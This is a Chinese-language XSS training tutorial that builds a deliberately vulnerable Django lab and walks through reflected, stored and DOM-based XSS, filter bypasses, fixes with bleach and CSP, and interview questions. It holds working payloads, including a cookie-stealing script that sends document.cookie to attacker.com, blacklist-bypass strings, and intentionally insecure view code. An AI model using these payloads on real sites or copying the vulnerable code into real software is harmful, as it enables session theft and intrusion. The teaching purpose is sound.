XSS 攻擊實例與演練
動手實踐 - 從攻擊到防禦的完整演練
⚠️ 免責聲明 本文內容僅供教育與學習用途。請勿將文中技術用於任何未經授權的系統或惡意目的。所有演練應在本地測試環境或專門的安全練習平台進行。
📚 本篇重點
- 🎯 建立本地 XSS 演練環境
- 🔍 實戰 5 個完整的 XSS 案例
- 🛡️ 從攻擊者和防禦者視角學習
- 💼 準備技術面試的實戰經驗
閱讀時間: 約 25 分鐘 難度: ⭐⭐⭐ 中高階
1️⃣ 建立演練環境
方案 1: 本地 Django 項目(推薦)
我們將建立一個故意包含漏洞的 Django 應用,用於學習和演練。
Step 1: 建立項目
# 建立項目目錄
mkdir xss-lab
cd xss-lab
# 建立虛擬環境
python -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
# 安裝 Django
pip install django
# 建立 Django 項目
django-admin startproject xsslab .
# 建立應用
python manage.py startapp vulnerable_app
# 安裝額外套件
pip install bleach markdown django-cspStep 2: 配置 settings.py
# xsslab/settings.py
# ... 其他設定 ...
INSTALLED_APPS = [
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
'vulnerable_app', # 添加應用
]
# 開發時關閉某些安全設定(生產環境要開啟!)
DEBUG = True
ALLOWED_HOSTS = ['localhost', '127.0.0.1']
# 暫時不啟用 CSP(我們要演示 XSS)
# MIDDLEWARE 中不要加入 'csp.middleware.CSPMiddleware'
# Cookie 設定(演練時使用寬鬆設定)
SESSION_COOKIE_HTTPONLY = False # 演練用,生產環境要 True
SESSION_COOKIE_SECURE = False # 本地開發用 False
CSRF_COOKIE_HTTPONLY = False # 演練用,生產環境要 True
# Template 設定
TEMPLATES = [
{
'BACKEND': 'django.template.backends.django.DjangoTemplates',
'DIRS': [],
'APP_DIRS': True,
'OPTIONS': {
'context_processors': [
'django.template.context_processors.debug',
'django.template.context_processors.request',
'django.contrib.auth.context_processors.auth',
'django.contrib.messages.context_processors.messages',
],
},
},
]Step 3: 建立模型
# vulnerable_app/models.py
from django.db import models
from django.contrib.auth.models import User
class Comment(models.Model):
"""留言模型(用於 Stored XSS 演練)"""
author = models.CharField(max_length=100)
email = models.EmailField(blank=True)
content = models.TextField()
created_at = models.DateTimeField(auto_now_add=True)
class Meta:
ordering = ['-created_at']
def __str__(self):
return f"{self.author}: {self.content[:50]}"
class UserProfile(models.Model):
"""用戶資料(用於 Stored XSS 演練)"""
user = models.OneToOneField(User, on_delete=models.CASCADE)
bio = models.TextField(blank=True)
website = models.URLField(blank=True)
signature = models.CharField(max_length=500, blank=True)
def __str__(self):
return f"{self.user.username}'s profile"Step 4: 執行遷移
python manage.py makemigrations
python manage.py migrate
# 建立超級用戶
python manage.py createsuperuser方案 2: 使用現成的演練平台
如果不想自己建立環境,可以使用以下平台:
# 1. DVWA (Damn Vulnerable Web Application)
docker run --rm -it -p 80:80 vulnerables/web-dvwa
# 2. WebGoat (OWASP)
docker run -p 8080:8080 -p 9090:9090 webgoat/goatandwolf
# 3. bWAPP (buggy Web Application)
docker run -d -p 80:80 raesene/bwapp
# 4. Juice Shop (OWASP)
docker run --rm -p 3000:3000 bkimminich/juice-shop訪問 http://localhost 或對應端口即可開始演練。
2️⃣ 演練 1: Reflected XSS - 搜尋功能
目標
理解 Reflected XSS 的攻擊原理和防禦方法。
漏洞代碼
# vulnerable_app/views.py
from django.shortcuts import render
from django.http import HttpResponse
def vulnerable_search(request):
"""
❌ 漏洞:未過濾的搜尋功能
"""
query = request.GET.get('q', '')
# 危險:直接將用戶輸入嵌入 HTML
html = f"""
<!DOCTYPE html>
<html>
<head>
<title>搜尋結果</title>
<style>
body {{ font-family: Arial, sans-serif; margin: 40px; }}
.search-box {{ margin-bottom: 20px; }}
.results {{ border: 1px solid #ccc; padding: 10px; }}
</style>
</head>
<body>
<h1>搜尋功能(漏洞版)</h1>
<form method="get">
<input type="text" name="q" value="{query}" size="50">
<button type="submit">搜尋</button>
</form>
<div class="results">
<h2>搜尋結果: {query}</h2>
<p>找不到與 "{query}" 相關的結果</p>
</div>
</body>
</html>
"""
return HttpResponse(html)# xsslab/urls.py
from django.contrib import admin
from django.urls import path
from vulnerable_app import views
urlpatterns = [
path('admin/', admin.site.urls),
path('search/', views.vulnerable_search, name='vulnerable_search'),
]攻擊步驟
# 啟動伺服器
python manage.py runserver
# 訪問以下 URL測試 Payload:
# 1. 基本測試
http://127.0.0.1:8000/search/?q=<script>alert('XSS')</script>
# 2. Cookie 竊取
http://127.0.0.1:8000/search/?q=<script>alert(document.cookie)</script>
# 3. 使用 img 標籤
http://127.0.0.1:8000/search/?q=<img src=x onerror="alert('XSS')">
# 4. 使用 svg
http://127.0.0.1:8000/search/?q=<svg onload="alert('XSS')">
# 5. 事件處理器
http://127.0.0.1:8000/search/?q=<body onload="alert('XSS')">攻擊效果: 彈出警告框,顯示 “XSS” 或 Cookie 內容。
修復代碼
# vulnerable_app/views.py
from django.shortcuts import render
from django.utils.html import escape
def safe_search(request):
"""
✅ 安全:使用 Django Template 自動 escape
"""
query = request.GET.get('q', '')
return render(request, 'search.html', {
'query': query # Django 會自動 HTML escape
})<!-- vulnerable_app/templates/search.html -->
<!DOCTYPE html>
<html>
<head>
<title>搜尋結果</title>
<style>
body { font-family: Arial, sans-serif; margin: 40px; }
.search-box { margin-bottom: 20px; }
.results { border: 1px solid #ccc; padding: 10px; }
</style>
</head>
<body>
<h1>搜尋功能(安全版)</h1>
<form method="get">
<!-- ✅ 自動 HTML escape -->
<input type="text" name="q" value="{{ query }}" size="50">
<button type="submit">搜尋</button>
</form>
<div class="results">
<!-- ✅ 自動 HTML escape -->
<h2>搜尋結果: {{ query }}</h2>
<p>找不到與 "{{ query }}" 相關的結果</p>
</div>
</body>
</html>添加 URL:
# xsslab/urls.py
urlpatterns = [
# ...
path('search/safe/', views.safe_search, name='safe_search'),
]驗證修復:
訪問: http://127.0.0.1:8000/search/safe/?q=<script>alert('XSS')</script>
預期結果: 顯示文字 "<script>alert('XSS')</script>",不執行腳本3️⃣ 演練 2: Stored XSS - 留言板
目標
理解 Stored XSS 的攻擊原理和資料庫存儲安全。
漏洞代碼
# vulnerable_app/views.py
from django.shortcuts import render, redirect
from .models import Comment
def vulnerable_guestbook(request):
"""
❌ 漏洞:未過濾的留言板
"""
if request.method == 'POST':
author = request.POST.get('author', '')
content = request.POST.get('content', '')
# 危險:直接儲存未過濾的輸入
Comment.objects.create(
author=author,
content=content
)
return redirect('vulnerable_guestbook')
comments = Comment.objects.all()
return render(request, 'vulnerable_guestbook.html', {
'comments': comments
})<!-- vulnerable_app/templates/vulnerable_guestbook.html -->
<!DOCTYPE html>
<html>
<head>
<title>留言板(漏洞版)</title>
<style>
body { font-family: Arial, sans-serif; margin: 40px; }
.comment { border: 1px solid #ddd; padding: 10px; margin: 10px 0; }
.author { font-weight: bold; color: #333; }
.content { margin-top: 5px; }
form { margin-bottom: 30px; }
textarea { width: 100%; height: 100px; }
</style>
</head>
<body>
<h1>留言板(漏洞版)</h1>
<form method="post">
{% csrf_token %}
<div>
<label>姓名:</label><br>
<input type="text" name="author" required>
</div>
<div>
<label>留言:</label><br>
<textarea name="content" required></textarea>
</div>
<button type="submit">發布留言</button>
</form>
<h2>所有留言</h2>
{% for comment in comments %}
<div class="comment">
<!-- ❌ 危險:使用 |safe 繞過 escaping -->
<div class="author">{{ comment.author|safe }}</div>
<div class="content">{{ comment.content|safe }}</div>
<div class="time">{{ comment.created_at|date:"Y-m-d H:i" }}</div>
</div>
{% endfor %}
</body>
</html>添加 URL:
# xsslab/urls.py
urlpatterns = [
# ...
path('guestbook/', views.vulnerable_guestbook, name='vulnerable_guestbook'),
]攻擊步驟
# 1. 訪問留言板
http://127.0.0.1:8000/guestbook/
# 2. 填寫表單攻擊 Payload:
<!-- Payload 1: 基本彈窗 -->
姓名: Attacker
留言: <script>alert('Stored XSS!')</script>
<!-- Payload 2: Cookie 竊取 -->
姓名: Hacker
留言: <script>
fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>
<!-- Payload 3: 自我複製蠕蟲(模擬 MySpace Samy) -->
姓名: Worm
留言: <script>
// 讀取這段代碼
var payload = document.querySelector('.comment:first-child .content').innerHTML;
// 自動提交新留言(需要繞過 CSRF)
setTimeout(function() {
alert('這是一個蠕蟲,會自我複製!實際攻擊中會自動提交表單');
}, 2000);
</script>
<!-- Payload 4: 使用 img 標籤 -->
姓名: Image
留言: <img src=x onerror="alert('Image XSS')">
<!-- Payload 5: 使用 iframe -->
姓名: Frame
留言: <iframe src="javascript:alert('Iframe XSS')"></iframe>攻擊效果:
- 所有訪問留言板的用戶都會看到彈窗
- 惡意腳本持久存在,直到被刪除
- 可以竊取所有訪問者的 Cookie
修復代碼
# vulnerable_app/forms.py
from django import forms
from .models import Comment
import bleach
class CommentForm(forms.ModelForm):
class Meta:
model = Comment
fields = ['author', 'content']
def clean_author(self):
"""清理作者名稱,移除所有 HTML"""
author = self.cleaned_data['author']
return bleach.clean(author, tags=[], strip=True)
def clean_content(self):
"""清理內容,只允許安全標籤"""
content = self.cleaned_data['content']
# 方案 1: 完全移除 HTML(最安全)
clean_content = bleach.clean(content, tags=[], strip=True)
# 方案 2: 允許部分安全標籤(可選)
# allowed_tags = ['p', 'br', 'strong', 'em', 'u']
# clean_content = bleach.clean(
# content,
# tags=allowed_tags,
# strip=True
# )
return clean_content
# vulnerable_app/views.py
from django.shortcuts import render, redirect
from django.contrib import messages
from .forms import CommentForm
from .models import Comment
def safe_guestbook(request):
"""
✅ 安全:使用 Form 驗證和清理
"""
if request.method == 'POST':
form = CommentForm(request.POST)
if form.is_valid():
form.save()
messages.success(request, '留言已發布')
return redirect('safe_guestbook')
else:
messages.error(request, '留言格式錯誤')
else:
form = CommentForm()
comments = Comment.objects.all()
return render(request, 'safe_guestbook.html', {
'form': form,
'comments': comments
})<!-- vulnerable_app/templates/safe_guestbook.html -->
<!DOCTYPE html>
<html>
<head>
<title>留言板(安全版)</title>
<style>
body { font-family: Arial, sans-serif; margin: 40px; }
.comment { border: 1px solid #ddd; padding: 10px; margin: 10px 0; }
.author { font-weight: bold; color: #333; }
.content { margin-top: 5px; white-space: pre-wrap; }
form { margin-bottom: 30px; }
.messages { padding: 10px; margin: 10px 0; }
.success { background: #d4edda; color: #155724; }
.error { background: #f8d7da; color: #721c24; }
</style>
</head>
<body>
<h1>留言板(安全版)</h1>
{% if messages %}
<div class="messages">
{% for message in messages %}
<div class="{{ message.tags }}">{{ message }}</div>
{% endfor %}
</div>
{% endif %}
<form method="post">
{% csrf_token %}
{{ form.as_p }}
<button type="submit">發布留言</button>
</form>
<h2>所有留言</h2>
{% for comment in comments %}
<div class="comment">
<!-- ✅ 安全:Django 自動 HTML escape -->
<div class="author">{{ comment.author }}</div>
<div class="content">{{ comment.content }}</div>
<div class="time">{{ comment.created_at|date:"Y-m-d H:i" }}</div>
</div>
{% endfor %}
</body>
</html>添加 URL:
# xsslab/urls.py
urlpatterns = [
# ...
path('guestbook/safe/', views.safe_guestbook, name='safe_guestbook'),
]驗證修復:
1. 訪問: http://127.0.0.1:8000/guestbook/safe/
2. 提交 Payload: <script>alert('XSS')</script>
3. 預期結果: 顯示文字 "<script>alert('XSS')</script>",不執行腳本4️⃣ 演練 3: DOM-based XSS
目標
理解純客戶端 XSS 攻擊。
漏洞代碼
# vulnerable_app/views.py
def vulnerable_dom_xss(request):
"""
DOM XSS 演練頁面
漏洞在客戶端 JavaScript,伺服器端是乾淨的
"""
return render(request, 'vulnerable_dom_xss.html')<!-- vulnerable_app/templates/vulnerable_dom_xss.html -->
<!DOCTYPE html>
<html>
<head>
<title>DOM XSS 演練</title>
<style>
body { font-family: Arial, sans-serif; margin: 40px; }
#output { border: 1px solid #ccc; padding: 10px; margin-top: 20px; }
</style>
</head>
<body>
<h1>DOM-based XSS 演練(漏洞版)</h1>
<p>URL 範例: <code>#name=John</code></p>
<div id="output"></div>
<script>
// ❌ 危險:直接從 location.hash 讀取並用 innerHTML
function displayName() {
var hash = location.hash.substring(1); // 移除 #
if (!hash) {
document.getElementById('output').innerHTML =
'<p>請在 URL 中添加 #name=你的名字</p>';
return;
}
var params = new URLSearchParams(hash);
var name = params.get('name');
if (name) {
// 🔴 危險:innerHTML + 未過濾輸入
document.getElementById('output').innerHTML =
'<h2>歡迎, ' + name + '!</h2>';
}
}
// 監聽 hash 變化
window.addEventListener('hashchange', displayName);
displayName(); // 初始載入
</script>
</body>
</html>添加 URL:
# xsslab/urls.py
urlpatterns = [
# ...
path('dom-xss/', views.vulnerable_dom_xss, name='vulnerable_dom_xss'),
]攻擊步驟
攻擊 URL:
# 1. 基本腳本注入
http://127.0.0.1:8000/dom-xss/#name=<script>alert('DOM XSS')</script>
# 2. img 標籤
http://127.0.0.1:8000/dom-xss/#name=<img src=x onerror="alert(document.cookie)">
# 3. svg 標籤
http://127.0.0.1:8000/dom-xss/#name=<svg onload="alert('DOM XSS')">
# 4. 事件處理器
http://127.0.0.1:8000/dom-xss/#name=<body onload="alert('DOM XSS')">重點觀察:
- 打開瀏覽器開發者工具 → Network
- 觀察:
#後的內容沒有發送到伺服器! - 這就是為什麼伺服器端防禦無效
修復代碼
<!-- vulnerable_app/templates/safe_dom_xss.html -->
<!DOCTYPE html>
<html>
<head>
<title>DOM XSS 演練(安全版)</title>
<style>
body { font-family: Arial, sans-serif; margin: 40px; }
#output { border: 1px solid #ccc; padding: 10px; margin-top: 20px; }
</style>
</head>
<body>
<h1>DOM-based XSS 演練(安全版)</h1>
<p>URL 範例: <code>#name=John</code></p>
<div id="output"></div>
<script>
function displayName() {
var hash = location.hash.substring(1);
if (!hash) {
document.getElementById('output').textContent =
'請在 URL 中添加 #name=你的名字';
return;
}
var params = new URLSearchParams(hash);
var name = params.get('name');
if (name) {
// ✅ 方法 1:使用 textContent(推薦)
var h2 = document.createElement('h2');
h2.textContent = '歡迎, ' + name + '!';
document.getElementById('output').innerHTML = ''; // 清空
document.getElementById('output').appendChild(h2);
// ✅ 方法 2:手動 HTML escape
// var escaped = escapeHtml(name);
// document.getElementById('output').innerHTML =
// '<h2>歡迎, ' + escaped + '!</h2>';
}
}
/**
* HTML Escape 函數
*/
function escapeHtml(text) {
var div = document.createElement('div');
div.textContent = text;
return div.innerHTML;
}
window.addEventListener('hashchange', displayName);
displayName();
</script>
</body>
</html># vulnerable_app/views.py
def safe_dom_xss(request):
return render(request, 'safe_dom_xss.html')
# xsslab/urls.py
urlpatterns = [
# ...
path('dom-xss/safe/', views.safe_dom_xss, name='safe_dom_xss'),
]驗證修復:
訪問: http://127.0.0.1:8000/dom-xss/safe/#name=<script>alert('XSS')</script>
預期結果: 顯示 "歡迎, <script>alert('XSS')</script>!",不執行腳本5️⃣ 演練 4: 繞過過濾器
目標
理解黑名單過濾的局限性,學習繞過技巧。
漏洞代碼(黑名單過濾)
# vulnerable_app/views.py
def weak_filter_search(request):
"""
❌ 弱過濾:使用黑名單
"""
query = request.GET.get('q', '')
# ❌ 黑名單過濾(不安全!)
# 只過濾 <script> 標籤
filtered = query.replace('<script>', '').replace('</script>', '')
html = f"""
<!DOCTYPE html>
<html>
<head><title>弱過濾搜尋</title></head>
<body>
<h1>搜尋(弱過濾版)</h1>
<form method="get">
<input type="text" name="q" value="{filtered}" size="50">
<button>搜尋</button>
</form>
<div>
<h2>結果: {filtered}</h2>
</div>
</body>
</html>
"""
return HttpResponse(html)添加 URL:
urlpatterns = [
# ...
path('search/weak/', views.weak_filter_search, name='weak_filter_search'),
]繞過技巧
# 1. 大小寫混用
http://127.0.0.1:8000/search/weak/?q=<ScRiPt>alert('XSS')</ScRiPt>
# 2. 使用其他標籤
http://127.0.0.1:8000/search/weak/?q=<img src=x onerror="alert('XSS')">
# 3. 使用 svg
http://127.0.0.1:8000/search/weak/?q=<svg onload="alert('XSS')">
# 4. 使用 iframe
http://127.0.0.1:8000/search/weak/?q=<iframe src="javascript:alert('XSS')">
# 5. 雙寫繞過
http://127.0.0.1:8000/search/weak/?q=<scr<script>ipt>alert('XSS')</script>
# 過濾後變成: <script>alert('XSS')</script>
# 6. 使用事件處理器
http://127.0.0.1:8000/search/weak/?q=<body onload="alert('XSS')">
# 7. 使用 HTML 實體
http://127.0.0.1:8000/search/weak/?q=<img src=x onerror="alert('XSS')">教訓: 永遠使用白名單,不要使用黑名單!
6️⃣ 演練 5: CSP 防禦實戰
目標
學習使用 Content Security Policy 防禦 XSS。
配置 CSP
# settings.py
INSTALLED_APPS = [
# ...
'csp', # 添加 django-csp
]
MIDDLEWARE = [
# ...
'csp.middleware.CSPMiddleware', # 添加 CSP middleware
]
# CSP 配置
CSP_DEFAULT_SRC = ("'none'",)
CSP_SCRIPT_SRC = ("'self'",)
CSP_STYLE_SRC = ("'self'", "'unsafe-inline'") # 允許 inline CSS
CSP_IMG_SRC = ("'self'", "data:", "https:")
CSP_FONT_SRC = ("'self'",)
CSP_CONNECT_SRC = ("'self'",)
CSP_FRAME_ANCESTORS = ("'none'",)
CSP_BASE_URI = ("'self'",)
CSP_FORM_ACTION = ("'self'",)
# 啟用 CSP 報告(開發時很有用)
CSP_REPORT_ONLY = False # False = 強制執行, True = 僅報告測試 CSP
# vulnerable_app/views.py
def csp_protected(request):
"""
使用 CSP 保護的頁面
"""
return render(request, 'csp_protected.html')<!-- vulnerable_app/templates/csp_protected.html -->
<!DOCTYPE html>
<html>
<head>
<title>CSP 保護頁面</title>
<style>
body { font-family: Arial, sans-serif; margin: 40px; }
</style>
</head>
<body>
<h1>Content Security Policy 演練</h1>
<p>這個頁面受 CSP 保護</p>
<!-- ✅ 允許:外部腳本(self) -->
<script src="/static/app.js"></script>
<!-- ❌ 被阻擋:inline script -->
<script>
// 這段代碼會被 CSP 阻擋!
alert('這個 inline script 會被 CSP 阻擋');
</script>
<!-- ❌ 被阻擋:inline 事件處理器 -->
<button onclick="alert('這也會被阻擋')">點我</button>
<!-- ❌ 被阻擋:javascript: 協議 -->
<a href="javascript:alert('這也會被阻擋')">危險連結</a>
<div id="status"></div>
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
<script>
// ❌ 這也會被阻擋(jquery 來自外部 CDN)
$(document).ready(function() {
$('#status').text('jQuery loaded');
});
</script>
</body>
</html>添加 URL:
urlpatterns = [
# ...
path('csp/', views.csp_protected, name='csp_protected'),
]測試:
1. 訪問: http://127.0.0.1:8000/csp/
2. 打開瀏覽器開發者工具 → Console
3. 觀察 CSP 錯誤:
"Refused to execute inline script because it violates the following
Content Security Policy directive..."7️⃣ 完整安全示範項目
讓我們整合所有最佳實踐,建立一個完全安全的留言板:
# vulnerable_app/models.py
from django.db import models
import bleach
class SecureComment(models.Model):
"""完全安全的留言模型"""
author = models.CharField(max_length=100)
markdown_content = models.TextField() # 儲存 Markdown
html_content = models.TextField() # 儲存處理後的 HTML
created_at = models.DateTimeField(auto_now_add=True)
def save(self, *args, **kwargs):
import markdown
# Step 1: Markdown → HTML
html = markdown.markdown(
self.markdown_content,
extensions=['extra', 'nl2br']
)
# Step 2: 清理 HTML(白名單)
allowed_tags = ['p', 'br', 'strong', 'em', 'u', 'code', 'pre']
self.html_content = bleach.clean(
html,
tags=allowed_tags,
strip=True
)
super().save(*args, **kwargs)
class Meta:
ordering = ['-created_at']
# vulnerable_app/forms.py
from django import forms
from .models import SecureComment
import bleach
class SecureCommentForm(forms.ModelForm):
class Meta:
model = SecureComment
fields = ['author', 'markdown_content']
widgets = {
'markdown_content': forms.Textarea(attrs={
'placeholder': '支援 Markdown 語法...',
'rows': 5
})
}
labels = {
'author': '姓名',
'markdown_content': '留言內容'
}
def clean_author(self):
author = self.cleaned_data['author']
# 完全移除 HTML
return bleach.clean(author, tags=[], strip=True)
def clean_markdown_content(self):
content = self.cleaned_data['markdown_content']
# 長度限制
if len(content) > 5000:
raise forms.ValidationError('留言內容過長(最多 5000 字)')
return content
# vulnerable_app/views.py
from django.shortcuts import render, redirect
from django.contrib import messages
from django.views.decorators.http import require_http_methods
from .forms import SecureCommentForm
from .models import SecureComment
@require_http_methods(["GET", "POST"])
def secure_guestbook(request):
"""
✅ 完全安全的留言板
安全措施:
1. 使用 Markdown 而非 HTML
2. Bleach 白名單過濾
3. Django Form 驗證
4. CSRF 保護
5. HttpOnly Cookie
6. CSP
"""
if request.method == 'POST':
form = SecureCommentForm(request.POST)
if form.is_valid():
form.save() # 會自動處理 Markdown → HTML
messages.success(request, '✅ 留言已發布')
return redirect('secure_guestbook')
else:
messages.error(request, '❌ 留言格式錯誤')
else:
form = SecureCommentForm()
comments = SecureComment.objects.all()[:50] # 只顯示最新 50 條
return render(request, 'secure_guestbook.html', {
'form': form,
'comments': comments
})<!-- vulnerable_app/templates/secure_guestbook.html -->
<!DOCTYPE html>
<html lang="zh-TW">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>安全留言板</title>
<style>
* { box-sizing: border-box; }
body {
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif;
max-width: 800px;
margin: 40px auto;
padding: 0 20px;
background: #f5f5f5;
}
.container {
background: white;
padding: 30px;
border-radius: 8px;
box-shadow: 0 2px 4px rgba(0,0,0,0.1);
}
h1 { color: #333; margin-top: 0; }
.security-info {
background: #e7f3ff;
padding: 15px;
border-left: 4px solid #2196F3;
margin-bottom: 20px;
}
.security-info h3 { margin-top: 0; color: #1976D2; }
.security-info ul { margin: 10px 0; padding-left: 20px; }
form { margin: 20px 0; }
form div { margin-bottom: 15px; }
label { display: block; font-weight: bold; margin-bottom: 5px; }
input[type="text"], textarea {
width: 100%;
padding: 10px;
border: 1px solid #ddd;
border-radius: 4px;
font-family: inherit;
}
button {
background: #4CAF50;
color: white;
border: none;
padding: 12px 24px;
border-radius: 4px;
cursor: pointer;
font-size: 16px;
}
button:hover { background: #45a049; }
.messages {
margin: 20px 0;
}
.messages div {
padding: 12px;
border-radius: 4px;
margin-bottom: 10px;
}
.success {
background: #d4edda;
color: #155724;
border: 1px solid #c3e6cb;
}
.error {
background: #f8d7da;
color: #721c24;
border: 1px solid #f5c6cb;
}
.comment {
background: #fafafa;
border: 1px solid #e0e0e0;
padding: 15px;
margin: 15px 0;
border-radius: 4px;
}
.comment-header {
display: flex;
justify-content: space-between;
margin-bottom: 10px;
padding-bottom: 10px;
border-bottom: 1px solid #e0e0e0;
}
.author {
font-weight: bold;
color: #1976D2;
}
.time {
color: #666;
font-size: 14px;
}
.content {
line-height: 1.6;
white-space: pre-wrap;
}
.markdown-help {
background: #fff3cd;
padding: 10px;
border-radius: 4px;
font-size: 14px;
margin-top: 5px;
}
</style>
</head>
<body>
<div class="container">
<h1>🛡️ 安全留言板</h1>
<div class="security-info">
<h3>🔒 安全措施</h3>
<ul>
<li>✅ Django Template 自動 HTML Escape</li>
<li>✅ Markdown 取代 HTML 輸入</li>
<li>✅ Bleach 白名單過濾</li>
<li>✅ Django Forms 輸入驗證</li>
<li>✅ CSRF 保護</li>
<li>✅ Content Security Policy (CSP)</li>
<li>✅ HttpOnly Cookie</li>
</ul>
</div>
{% if messages %}
<div class="messages">
{% for message in messages %}
<div class="{{ message.tags }}">{{ message }}</div>
{% endfor %}
</div>
{% endif %}
<form method="post">
{% csrf_token %}
{{ form.as_p }}
<div class="markdown-help">
💡 支援 Markdown 語法: **粗體**, *斜體*, `代碼`, [連結](url)
</div>
<button type="submit">📝 發布留言</button>
</form>
<h2>💬 所有留言 ({{ comments.count }})</h2>
{% for comment in comments %}
<div class="comment">
<div class="comment-header">
<!-- ✅ 安全:自動 HTML escape -->
<span class="author">{{ comment.author }}</span>
<span class="time">{{ comment.created_at|date:"Y-m-d H:i" }}</span>
</div>
<div class="content">
<!-- ✅ 安全:HTML 已在儲存時清理 -->
{{ comment.html_content|safe }}
</div>
</div>
{% empty %}
<p>還沒有留言,成為第一個留言的人吧!</p>
{% endfor %}
</div>
</body>
</html>添加 URL:
urlpatterns = [
# ...
path('guestbook/secure/', views.secure_guestbook, name='secure_guestbook'),
]測試安全性:
1. 訪問: http://127.0.0.1:8000/guestbook/secure/
2. 嘗試提交各種 XSS Payload
3. 觀察: 所有惡意代碼都被安全處理
4. 查看源代碼: HTML 已被正確 escape 或清理8️⃣ 清理資料庫腳本
如果演練後需要清理資料庫中的惡意數據:
# manage.py shell
from vulnerable_app.models import Comment
import bleach
def clean_all_comments():
"""清理所有留言"""
comments = Comment.objects.all()
cleaned_count = 0
for comment in comments:
original_content = comment.content
# 清理內容
comment.content = bleach.clean(
original_content,
tags=[], # 完全移除 HTML
strip=True
)
# 清理作者
comment.author = bleach.clean(
comment.author,
tags=[],
strip=True
)
if (comment.content != original_content or
comment.author != comment.author):
comment.save()
cleaned_count += 1
print(f"清理留言 ID={comment.id}")
print(f"\n總共清理了 {cleaned_count} 條留言")
# 執行清理
clean_all_comments()或直接刪除所有演練數據:
# manage.py shell
from vulnerable_app.models import Comment
Comment.objects.all().delete()
print("已刪除所有留言")9️⃣ 面試常見問題
Q1: 如果你在生產環境發現了 XSS 漏洞,應該如何處理?
參考答案:
緊急處理流程:
立即評估影響:
- 漏洞類型(Reflected/Stored/DOM)
- 影響範圍(哪些頁面/用戶)
- 是否有證據顯示已被利用
臨時減緩措施:
# 選項 1:暫時關閉受影響功能 def vulnerable_feature(request): return HttpResponse("功能維護中", status=503) # 選項 2:移除 |safe 標籤(如果使用了) # Template: {{ user_input }} # 不要用 |safe # 選項 3:快速部署 CSP CSP_DEFAULT_SRC = ("'self'",) CSP_SCRIPT_SRC = ("'self'",)修復漏洞:
- 實施 Output Encoding
- 添加 Input Validation
- 使用 Bleach 清理已存儲的數據
清理資料庫(Stored XSS):
# 清理腳本 from myapp.models import Comment import bleach for comment in Comment.objects.all(): comment.content = bleach.clean(comment.content, tags=[], strip=True) comment.save()安全審計:
- 檢查是否有敏感信息洩露(Cookie 被竊取)
- 查看伺服器日誌
- 如果需要,強制所有用戶重新登入
通知與記錄:
- 通知安全團隊
- 記錄事件詳情
- 如果有數據洩露,評估是否需要通知用戶
預防未來攻擊:
- 實施 CSP
- 定期安全掃描
- 代碼審查
- 安全培訓
Q2: 如何測試一個網站是否存在 XSS 漏洞?
參考答案:
測試流程:
1. 識別輸入點:
- URL 參數(?q=, #fragment)
- 表單輸入(文字框、文本區域)
- HTTP Headers(Referer, User-Agent)
- Cookie
- File uploads(檔案名)2. 基本 Payload 測試:
<!-- Level 1:基本測試 -->
<script>alert('XSS')</script>
<!-- Level 2:如果被過濾,嘗試其他標籤 -->
<img src=x onerror="alert('XSS')">
<svg onload="alert('XSS')">
<body onload="alert('XSS')">
<!-- Level 3:繞過技巧 -->
<ScRiPt>alert('XSS')</ScRiPt> <!-- 大小寫 -->
<scr<script>ipt>alert('XSS')</script> <!-- 雙寫 -->3. 檢查輸出編碼:
查看源代碼:
- < 應該變成 <
- > 應該變成 >
- " 應該變成 "
- ' 應該變成 '
如果沒有編碼 → 可能有漏洞4. 使用自動化工具:
# Burp Suite Professional
# OWASP ZAP
# XSStrike
python3 xsstrike.py -u "http://example.com/search?q=test"
# Dalfox
dalfox url "http://example.com/search?q=test"5. 測試 DOM XSS:
// 在瀏覽器 Console 中執行
(function() {
var sources = [
location.hash,
location.search,
document.URL,
document.referrer
];
console.log('Potential Sources:', sources);
// 檢查是否用 innerHTML
var originalInnerHTML = Object.getOwnPropertyDescriptor(
Element.prototype, 'innerHTML'
).set;
Object.defineProperty(Element.prototype, 'innerHTML', {
set: function(value) {
console.warn('innerHTML called with:', value);
console.trace();
return originalInnerHTML.call(this, value);
}
});
})();6. 驗證漏洞:
如果 alert() 執行 → 確認有漏洞
進一步測試:
- 能否竊取 Cookie? document.cookie
- 能否讀取頁面內容? document.body.innerHTML
- 能否發送請求? fetch()Q3: 解釋 CSP 如何防禦 XSS,以及它的局限性
參考答案:
CSP 如何防禦 XSS:
- 禁止 inline scripts:
<!-- ❌ 被 CSP 阻擋 -->
<script>alert('XSS')</script>
<!-- ✅ 只允許外部腳本(如果 script-src 'self') -->
<script src="/static/app.js"></script>- 禁止 inline 事件處理器:
<!-- ❌ 被 CSP 阻擋 -->
<button onclick="doSomething()">Click</button>
<!-- ✅ 使用外部腳本 addEventListener -->
<button id="myButton">Click</button>
<script src="/static/app.js"></script>- 禁止 eval() 和類似函數:
// ❌ 被 CSP 阻擋(如果沒有 unsafe-eval)
eval(userInput);
setTimeout(userInput, 1000);
Function(userInput)();- 白名單域名:
CSP_SCRIPT_SRC = ("'self'", "https://cdn.example.com")
# 只允許從這些域名載入腳本CSP 配置範例:
# 最嚴格的 CSP
CSP_DEFAULT_SRC = ("'none'",)
CSP_SCRIPT_SRC = ("'self'",)
CSP_STYLE_SRC = ("'self'",)
CSP_IMG_SRC = ("'self'", "data:", "https:")
CSP_CONNECT_SRC = ("'self'",)
CSP_FONT_SRC = ("'self'",)
CSP_FRAME_ANCESTORS = ("'none'",) # 防止 Clickjacking
CSP_BASE_URI = ("'self'",)
CSP_FORM_ACTION = ("'self'",)CSP 的局限性:
- 不能防止所有 XSS:
<!-- 即使有 CSP,這仍然危險(如果允許 self) -->
<script src="/user-upload/evil.js"></script>
<!-- 如果攻擊者能上傳檔案到你的域名 -->- 不能防止 Stored XSS 的數據竊取:
// CSP 阻止執行,但內容仍然在 DOM 中
// 攻擊者可能通過 CSS injection 竊取數據
- 瀏覽器支援問題:
- 舊版瀏覽器不支援 CSP
- 某些 CSP 指令只在新版瀏覽器支援
- 配置錯誤:
# ❌ 不安全的配置
CSP_SCRIPT_SRC = ("'unsafe-inline'", "'unsafe-eval'")
# 這基本上等於沒有 CSP- 不能替代 Output Encoding:
